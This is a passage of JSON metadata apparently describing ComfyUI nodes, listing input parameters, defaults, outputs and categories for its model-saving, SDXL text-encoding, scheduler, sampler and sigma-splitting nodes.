"VAESave": {"input": {"required": {"vae": ["VAE"], "filename_prefix": ["STRING", {"default": "vae/ComfyUI_vae"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "VAESave", "display_name": "VAESave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "ModelSave": {"input": {"required": {"model": ["MODEL"], "filename_prefix": ["STRING", {"default": "diffusion_models/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "ModelSave", "display_name": "ModelSave", "description": "", "python_module": "comfy_extras.nodes_model_merging", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["export model", "checkpoint save"]}, "TomePatchModel": {"input": {"required": {"model": ["MODEL", {}], "ratio": ["FLOAT", {"default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "ratio"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TomePatchModel", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_tomesd", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSDXLRefiner": {"input": {"required": {"ascore": ["FLOAT", {"default": 6.0, "min": 0.0, "max": 1000.0, "step": 0.01}], "width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {}]}}, "input_order": {"required": ["ascore", "width", "height", "text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSDXLRefiner", "display_name": "CLIP Text Encode (SDXL Refiner)", "description": "", "python_module": "comfy_extras.nodes_clip_sdxl", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSDXL": {"input": {"required": {"clip": ["CLIP", {}], "width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "crop_w": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 16384}], "crop_h": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 16384}], "target_width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "target_height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "text_l": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "width", "height", "crop_w", "crop_h", "target_width", "target_height", "text_g", "text_l"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSDXL", "display_name": "CLIP Text Encode (SDXL)", "description": "", "python_module": "comfy_extras.nodes_clip_sdxl", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Canny": {"input": {"required": {"image": ["IMAGE", {}], "low_threshold": ["FLOAT", {"default": 0.4, "min": 0.01, "max": 0.99, "step": 0.01}], "high_threshold": ["FLOAT", {"default": 0.8, "min": 0.01, "max": 0.99, "step": 0.01}]}}, "input_order": {"required": ["image", "low_threshold", "high_threshold"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Canny", "display_name": "Detect Edges (Canny)", "description": "", "python_module": "comfy_extras.nodes_canny", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["edge detection", "outline", "contour detection", "line art"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "FreeU": {"input": {"required": {"model": ["MODEL", {}], "b1": ["FLOAT", {"advanced": true, "default": 1.1, "min": 0.0, "max": 10.0, "step": 0.01}], "b2": ["FLOAT", {"advanced": true, "default": 1.2, "min": 0.0, "max": 10.0, "step": 0.01}], "s1": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 10.0, "step": 0.01}], "s2": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "b1", "b2", "s1", "s2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreeU", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_freelunch", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FreeU_V2": {"input": {"required": {"model": ["MODEL", {}], "b1": ["FLOAT", {"advanced": true, "default": 1.3, "min": 0.0, "max": 10.0, "step": 0.01}], "b2": ["FLOAT", {"advanced": true, "default": 1.4, "min": 0.0, "max": 10.0, "step": 0.01}], "s1": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 10.0, "step": 0.01}], "s2": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "b1", "b2", "s1", "s2"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreeU_V2", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_freelunch", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerCustom": {"input": {"required": {"model": ["MODEL", {}], "add_noise": ["BOOLEAN", {"advanced": true, "default": true}], "noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "sampler": ["SAMPLER", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["model", "add_noise", "noise_seed", "cfg", "positive", "negative", "sampler", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["output", "denoised_output"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SamplerCustom", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGOverride": {"input": {"required": {"model": ["MODEL", {}], "cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "cfg", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGOverride", "display_name": "CFG Override", "description": "Override cfg to a fixed value over a [start, end] percent (sigma) range. With multiple overrides, the one nearest the sampler wins on overlap.", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BasicScheduler": {"input": {"required": {"model": ["MODEL", {}], "scheduler": ["COMBO", {"multiselect": false, "options": ["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"]}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "scheduler", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "BasicScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KarrasScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "rho": ["FLOAT", {"advanced": true, "default": 7.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "rho"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "KarrasScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ExponentialScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ExponentialScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PolyexponentialScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "rho": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "rho"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "PolyexponentialScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LaplaceScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "sigma_max": ["FLOAT", {"advanced": true, "default": 14.614642, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "sigma_min": ["FLOAT", {"advanced": true, "default": 0.0291675, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "mu": ["FLOAT", {"advanced": true, "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.1, "round": false}], "beta": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0.0, "max": 10.0, "step": 0.1, "round": false}]}}, "input_order": {"required": ["steps", "sigma_max", "sigma_min", "mu", "beta"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "LaplaceScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VPScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "beta_d": ["FLOAT", {"advanced": true, "default": 19.9, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "beta_min": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 5000.0, "step": 0.01, "round": false}], "eps_s": ["FLOAT", {"advanced": true, "default": 0.001, "min": 0.0, "max": 1.0, "step": 0.0001, "round": false}]}}, "input_order": {"required": ["steps", "beta_d", "beta_min", "eps_s"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "VPScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BetaSamplingScheduler": {"input": {"required": {"model": ["MODEL", {}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "alpha": ["FLOAT", {"advanced": true, "default": 0.6, "min": 0.0, "max": 50.0, "step": 0.01, "round": false}], "beta": ["FLOAT", {"advanced": true, "default": 0.6, "min": 0.0, "max": 50.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["model", "steps", "alpha", "beta"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "BetaSamplingScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SDTurboScheduler": {"input": {"required": {"model": ["MODEL", {}], "steps": ["INT", {"default": 1, "min": 1, "max": 10}], "denoise": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "SDTurboScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KSamplerSelect": {"input": {"required": {"sampler_name": ["COMBO", {"multiselect": false, "options": ["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"]}]}}, "input_order": {"required": ["sampler_name"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "KSamplerSelect", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerAncestral": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerAncestral", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerAncestralCFGPP": {"input": {"required": {"eta": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerAncestralCFGPP", "display_name": "SamplerEulerAncestralCFG++", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLMS": {"input": {"required": {"order": ["INT", {"advanced": true, "default": 4, "min": 1, "max": 100}]}}, "input_order": {"required": ["order"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLMS", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_3M_SDE": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["eta", "s_noise", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_3M_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_2M_SDE": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["midpoint", "heun"]}], "eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["solver_type", "eta", "s_noise", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_2M_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_SDE": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "r": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["eta", "s_noise", "r", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_2S_Ancestral": {"input": {"required": {"eta": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_2S_Ancestral", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMAdaptative": {"input": {"required": {"order": ["INT", {"advanced": true, "default": 3, "min": 2, "max": 3}], "rtol": ["FLOAT", {"advanced": true, "default": 0.05, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "atol": ["FLOAT", {"advanced": true, "default": 0.0078, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "h_init": ["FLOAT", {"advanced": true, "default": 0.05, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "pcoeff": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "icoeff": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "dcoeff": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "accept_safety": ["FLOAT", {"advanced": true, "default": 0.81, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "eta": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["order", "rtol", "atol", "h_init", "pcoeff", "icoeff", "dcoeff", "accept_safety", "eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMAdaptative", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerER_SDE": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["ER-SDE", "Reverse-time SDE", "ODE"]}], "max_stage": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 3}], "eta": ["FLOAT", {"tooltip": "Stochastic strength of reverse-time SDE.\nWhen eta=0, it reduces to deterministic ODE. This setting doesn't apply to ER-SDE solver type.", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["solver_type", "max_stage", "eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerER_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerSASolver": {"input": {"required": {"model": ["MODEL", {}], "eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01, "round": false}], "sde_start_percent": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 1.0, "step": 0.001}], "sde_end_percent": ["FLOAT", {"advanced": true, "default": 0.8, "min": 0.0, "max": 1.0, "step": 0.001}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "predictor_order": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 6}], "corrector_order": ["INT", {"advanced": true, "default": 4, "min": 0, "max": 6}], "use_pece": ["BOOLEAN", {"advanced": true}], "simple_order_2": ["BOOLEAN", {"advanced": true}]}}, "input_order": {"required": ["model", "eta", "sde_start_percent", "sde_end_percent", "s_noise", "predictor_order", "corrector_order", "use_pece", "simple_order_2"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerSASolver", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sde"], "essentials_category": null, "has_intermediate_output": false}, "SamplerSEEDS2": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["phi_1", "phi_2"]}], "eta": ["FLOAT", {"tooltip": "Stochastic strength", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"tooltip": "SDE noise multiplier", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "r": ["FLOAT", {"tooltip": "Relative step size for the intermediate stage (c2 node)", "advanced": true, "default": 0.5, "min": 0.01, "max": 1.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["solver_type", "eta", "s_noise", "r"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerSEEDS2", "display_name": null, "description": "This sampler node can represent multiple samplers:\n\nseeds_2\n- default setting\n\nexp_heun_2_x0\n- solver_type=phi_2, r=1.0, eta=0.0\n\nexp_heun_2_x0_sde\n- solver_type=phi_2, r=1.0, eta=1.0, s_noise=1.0", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sde", "exp heun"], "essentials_category": null, "has_intermediate_output": false}, "SplitSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}], "step": ["INT", {"default": 0, "min": 0, "max": 10000}]}}, "input_order": {"required": ["sigmas", "step"]}, "is_input_list": false, "output": ["SIGMAS", "SIGMAS"], "output_is_list": [false, false], "output_name": ["high_sigmas", "low_sigmas"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SplitSigmasDenoise": {"input": {"required": {"sigmas": ["SIGMAS", {}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["sigmas", "denoise"]}, "is_input_list": false, "output": ["SIGMAS", "SIGMAS"], "output_is_list": [false, false], "output_name": ["high_sigmas", "low_sigmas"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitSigmasDenoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FlipSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}]}}, "input_order": {"required": ["sigmas"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], 